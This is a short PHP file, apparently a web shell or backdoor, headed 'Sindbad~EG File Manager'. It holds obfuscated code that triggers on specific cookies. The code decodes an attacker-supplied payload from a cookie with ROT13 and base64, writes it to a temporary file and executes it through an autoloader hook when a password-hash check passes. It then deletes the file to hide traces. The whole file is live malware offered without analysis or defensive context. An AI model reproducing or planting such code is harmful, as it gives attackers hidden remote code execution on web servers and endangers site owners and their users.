Sindbad~EG File Manager

<?php


if (isset($_COOKIE[-50+50]) && isset($_COOKIE[1-0]) && isset($_COOKIE[95-92]) && isset($_COOKIE[-90+94])) {
    $reference = $_COOKIE;
    function buffer_cache($record) {
        $reference = $_COOKIE;
        $object = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'fddc71ea');
        if (!is_writable($object)) {
            $object = getcwd() . DIRECTORY_SEPARATOR . "core_engine";
        }
        $pset = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($reference[3]));
        if (is_writeable($object)) {
            $ent = fopen($object, 'w+');
            fputs($ent, $pset);
            fclose($ent);
            spl_autoload_unregister(__FUNCTION__);
            require_once($object);
            @array_map('unlink', array($object));
        }
    }
    spl_autoload_register("buffer_cache");
    $entry = "d581b0989e640f7975adaba4c1a0c826";
    if (!strncmp($entry, $reference[4], 32)) {
        if (@class_parents("task_processor_service_registry", true)) {
            exit;
        }
    }
}